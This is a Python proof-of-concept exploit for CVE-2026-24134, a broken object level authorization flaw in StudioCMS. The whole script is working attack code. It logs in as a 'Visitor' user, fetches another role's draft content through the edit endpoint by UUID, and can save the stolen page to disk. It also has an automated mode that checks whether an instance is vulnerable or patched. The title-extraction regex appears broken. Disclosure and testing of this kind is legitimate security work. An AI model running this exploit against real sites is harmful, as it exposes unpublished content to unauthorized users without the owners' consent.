#!/usr/bin/env python3 """ CVE-2026-24134 - Proof of Concept Broken Object Level Authorization in StudioCMS Author: Filipe Gaudard CVE: CVE-2026-24134 Severity: Moderate (CVSS 6.5) Description: This PoC demonstrates unauthorized access to draft content in StudioCMS by exploiting missing authorization checks in the content management endpoint. A user with "Visitor" role can access draft content created by Editor/Admin/Owner users by directly accessing the edit URL with a known content UUID. Disclaimer: This tool is for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. """ import requests import argparse import sys import json from typing import Optional, Dict, Any from urllib.parse import urljoin import re from colorama import Fore, Style, init # Initialize colorama for colored output init(autoreset=True) class StudioCMSBOLA: def __init__(self, base_url: str, verify_ssl: bool = True): """ Initialize the exploit class. Args: base_url: Target StudioCMS base URL (e.g., http://localhost:4321) verify_ssl: Whether to verify SSL certificates """ self.base_url = base_url.rstrip('/') self.session = requests.Session() self.session.verify = verify_ssl self.auth_token = None def print_success(self, message: str): """Print success message in green""" print(f"{Fore.GREEN}[+] {message}{Style.RESET_ALL}") def print_error(self, message: str): """Print error message in red""" print(f"{Fore.RED}[-] {message}{Style.RESET_ALL}") def print_info(self, message: str): """Print info message in blue""" print(f"{Fore.BLUE}[*] {message}{Style.RESET_ALL}") def print_warning(self, message: str): """Print warning message in yellow""" print(f"{Fore.YELLOW}[!] {message}{Style.RESET_ALL}") def login(self, username: str, password: str) -> bool: """ Authenticate as a user and obtain session token. Args: username: Username for authentication password: Password for authentication Returns: True if authentication successful, False otherwise """ login_url = urljoin(self.base_url, '/studiocms_api/auth/login') self.print_info(f"Attempting login as user: {username}") try: response = self.session.post( login_url, data={ 'username': username, 'password': password } ) if response.status_code == 200: # Check if auth_session cookie was set if 'auth_session' in self.session.cookies: self.auth_token = self.session.cookies['auth_session'] self.print_success(f"Successfully authenticated as {username}") self.print_info(f"Session token: {self.auth_token[:20]}...") return True else: self.print_error("Login response successful but no session cookie received") return False else: self.print_error(f"Login failed with status code: {response.status_code}") return False except requests.RequestException as e: self.print_error(f"Login request failed: {str(e)}") return False def verify_role(self) -> Optional[str]: """ Verify current user's role by accessing the dashboard. Returns: User role as string, or None if verification failed """ dashboard_url = urljoin(self.base_url, '/dashboard') try: response = self.session.get(dashboard_url) if response.status_code == 200: # Try to extract role from response (implementation-specific) # This is a simplified example if 'Visitor' in response.text or 'visitor' in response.text.lower(): role = 'Visitor' elif 'Editor' in response.text or 'editor' in response.text.lower(): role = 'Editor' elif 'Admin' in response.text or 'admin' in response.text.lower(): role = 'Admin' else: role = 'Unknown' self.print_info(f"Detected user role: {role}") return role else: self.print_warning(f"Could not verify role (status: {response.status_code})") return None except requests.RequestException as e: self.print_error(f"Role verification failed: {str(e)}") return None def exploit_bola(self, content_uuid: str, save_output: bool = False) -> Dict[str, Any]: """ Exploit BOLA vulnerability to access draft content. Args: content_uuid: UUID of the target draft content save_output: Whether to save the response to a file Returns: Dictionary with exploitation results """ if not self.auth_token: self.print_error("Not authenticated. Please login first.") return {"success": False, "error": "Not authenticated"} exploit_url = urljoin( self.base_url, f'/dashboard/content-management/edit?edit={content_uuid}' ) self.print_info(f"Attempting to access draft: {content_uuid}") self.print_info(f"Target URL: {exploit_url}") try: response = self.session.get(exploit_url) result = { "success": False, "status_code": response.status_code, "content_length": len(response.text), "uuid": content_uuid } if response.status_code == 200: self.print_success("Successfully accessed draft content!") self.print_info(f"Response size: {len(response.text)} bytes") # Try to extract some information from response result["success"] = True result["content_preview"] = response.text[:500] # Extract title if present title_match = re.search(r'(.*?)', response.text, re.IGNORECASE) if title_match: result["title"] = title_match.group(1) self.print_info(f"Draft title: {title_match.group(1)}") # Save full response if requested if save_output: filename = f"draft_{content_uuid}.html" with open(filename, 'w', encoding='utf-8') as f: f.write(response.text) self.print_success(f"Full content saved to: {filename}") result["saved_file"] = filename self.print_success("\n=== EXPLOITATION SUCCESSFUL ===") self.print_warning("Visitor role user accessed Editor+ draft content") self.print_warning("This confirms CVE-2026-24134 BOLA vulnerability") elif response.status_code == 403: self.print_info("Access denied (403 Forbidden)") self.print_success("This suggests the vulnerability has been patched!") result["patched"] = True elif response.status_code == 404: self.print_info("Content not found (404)") self.print_warning("Either UUID is invalid or authorization check returned 404") result["not_found"] = True elif response.status_code == 401: self.print_error("Authentication required (401)") self.print_warning("Session may have expired") result["auth_required"] = True else: self.print_warning(f"Unexpected response: {response.status_code}") result["unexpected"] = True return result except requests.RequestException as e: self.print_error(f"Exploitation request failed: {str(e)}") return {"success": False, "error": str(e)} def automated_test(self, visitor_creds: Dict[str, str], editor_creds: Dict[str, str], test_uuid: str) -> Dict[str, Any]: """ Perform automated vulnerability testing. This creates a complete test scenario: 1. Login as Editor and verify role 2. Login as Visitor and verify role 3. Attempt to access Editor's draft as Visitor Args: visitor_creds: Dict with 'username' and 'password' for Visitor editor_creds: Dict with 'username' and 'password' for Editor test_uuid: UUID of draft created by Editor Returns: Dictionary with complete test results """ results = { "vulnerable": False, "tests": [] } print("\n" + "="*60) print("AUTOMATED CVE-2026-24134 VULNERABILITY TEST") print("="*60 + "\n") # Test 1: Verify Editor can access their own draft self.print_info("TEST 1: Editor accessing own draft (baseline)") if self.login(editor_creds['username'], editor_creds['password']): editor_role = self.verify_role() editor_result = self.exploit_bola(test_uuid) results["tests"].append({ "test": "Editor access to own draft", "role": editor_role, "success": editor_result["success"], "expected": True }) if editor_result["success"]: self.print_success("Baseline confirmed: Editor can access own draft") else: self.print_error("Baseline failed: Editor cannot access own draft") return results else: self.print_error("Editor authentication failed") return results print("\n" + "-"*60 + "\n") # Test 2: Attempt to access draft as Visitor (BOLA test) self.print_info("TEST 2: Visitor accessing Editor's draft (BOLA)") if self.login(visitor_creds['username'], visitor_creds['password']): visitor_role = self.verify_role() visitor_result = self.exploit_bola(test_uuid, save_output=True) results["tests"].append({ "test": "Visitor access to Editor draft", "role": visitor_role, "success": visitor_result["success"], "expected": False }) if visitor_result["success"]: self.print_error("\nVULNERABILITY CONFIRMED!") self.print_error("Visitor role accessed Editor draft content") self.print_error("System is vulnerable to CVE-2026-24134") results["vulnerable"] = True else: self.print_success("\nVULNERABILITY NOT PRESENT") self.print_success("Visitor role properly denied access") self.print_success("System appears to be patched") results["vulnerable"] = False else: self.print_error("Visitor authentication failed") return results print("\n" + "="*60) print("TEST SUMMARY") print("="*60) print(f"Total tests: {len(results['tests'])}") print(f"Vulnerability status: {'VULNERABLE' if results['vulnerable'] else 'PATCHED'}") print("="*60 + "\n") return results def main(): parser = argparse.ArgumentParser( description='CVE-2026-24134 BOLA Vulnerability PoC for StudioCMS', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Manual exploitation python3 cve_2026_24134_poc.py -u http://localhost:4321 --username visitor_user --password visitor_pass --uuid bad87630-69a4-4cd6-bcb2-6965839dc148 # Automated testing python3 cve_2026_24134_poc.py -u http://localhost:4321 --auto-test --visitor-user visitor01 --visitor-pass pass01 --editor-user editor01 --editor-pass pass01 --uuid bad87630-69a4-4cd6-bcb2-6965839dc148 # Save output to file python3 cve_2026_24134_poc.py -u http://localhost:4321 --username visitor_user --password visitor_pass --uuid bad87630-69a4-4cd6-bcb2-6965839dc148 --save """ ) parser.add_argument('-u', '--url', required=True, help='Target StudioCMS base URL (e.g., http://localhost:4321)') parser.add_argument('--username', help='Username for authentication (for manual mode)') parser.add_argument('--password', help='Password for authentication (for manual mode)') parser.add_argument('--uuid', required=True, help='Target draft content UUID') parser.add_argument('--save', action='store_true', help='Save response content to file') parser.add_argument('--no-ssl-verify', action='store_true', help='Disable SSL certificate verification') # Automated testing options parser.add_argument('--auto-test', action='store_true', help='Run automated vulnerability test') parser.add_argument('--visitor-user', help='Visitor username for automated test') parser.add_argument('--visitor-pass', help='Visitor password for automated test') parser.add_argument('--editor-user', help='Editor username for automated test') parser.add_argument('--editor-pass', help='Editor password for automated test') args = parser.parse_args() # Disable SSL warnings if --no-ssl-verify is used if args.no_ssl_verify: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Initialize exploit class exploit = StudioCMSBOLA(args.url, verify_ssl=not args.no_ssl_verify) # Automated testing mode if args.auto_test: if not all([args.visitor_user, args.visitor_pass, args.editor_user, args.editor_pass]): print(f"{Fore.RED}Error: Automated test requires --visitor-user, --visitor-pass, --editor-user, and --editor-pass{Style.RESET_ALL}") sys.exit(1) results = exploit.automated_test( visitor_creds={'username': args.visitor_user, 'password': args.visitor_pass}, editor_creds={'username': args.editor_user, 'password': args.editor_pass}, test_uuid=args.uuid ) # Exit with appropriate code sys.exit(0 if not results["vulnerable"] else 1) # Manual exploitation mode else: if not args.username or not args.password: print(f"{Fore.RED}Error: Manual mode requires --username and --password{Style.RESET_ALL}") sys.exit(1) # Step 1: Login if not exploit.login(args.username, args.password): sys.exit(1) # Step 2: Verify role exploit.verify_role() # Step 3: Exploit result = exploit.exploit_bola(args.uuid, save_output=args.save) # Exit with appropriate code sys.exit(0 if result["success"] else 1) if __name__ == '__main__': try: main() except KeyboardInterrupt: print(f"\n{Fore.YELLOW}[!] Interrupted by user{Style.RESET_ALL}") sys.exit(1) except Exception as e: print(f"\n{Fore.RED}[!] Unexpected error: {str(e)}{Style.RESET_ALL}") sys.exit(1)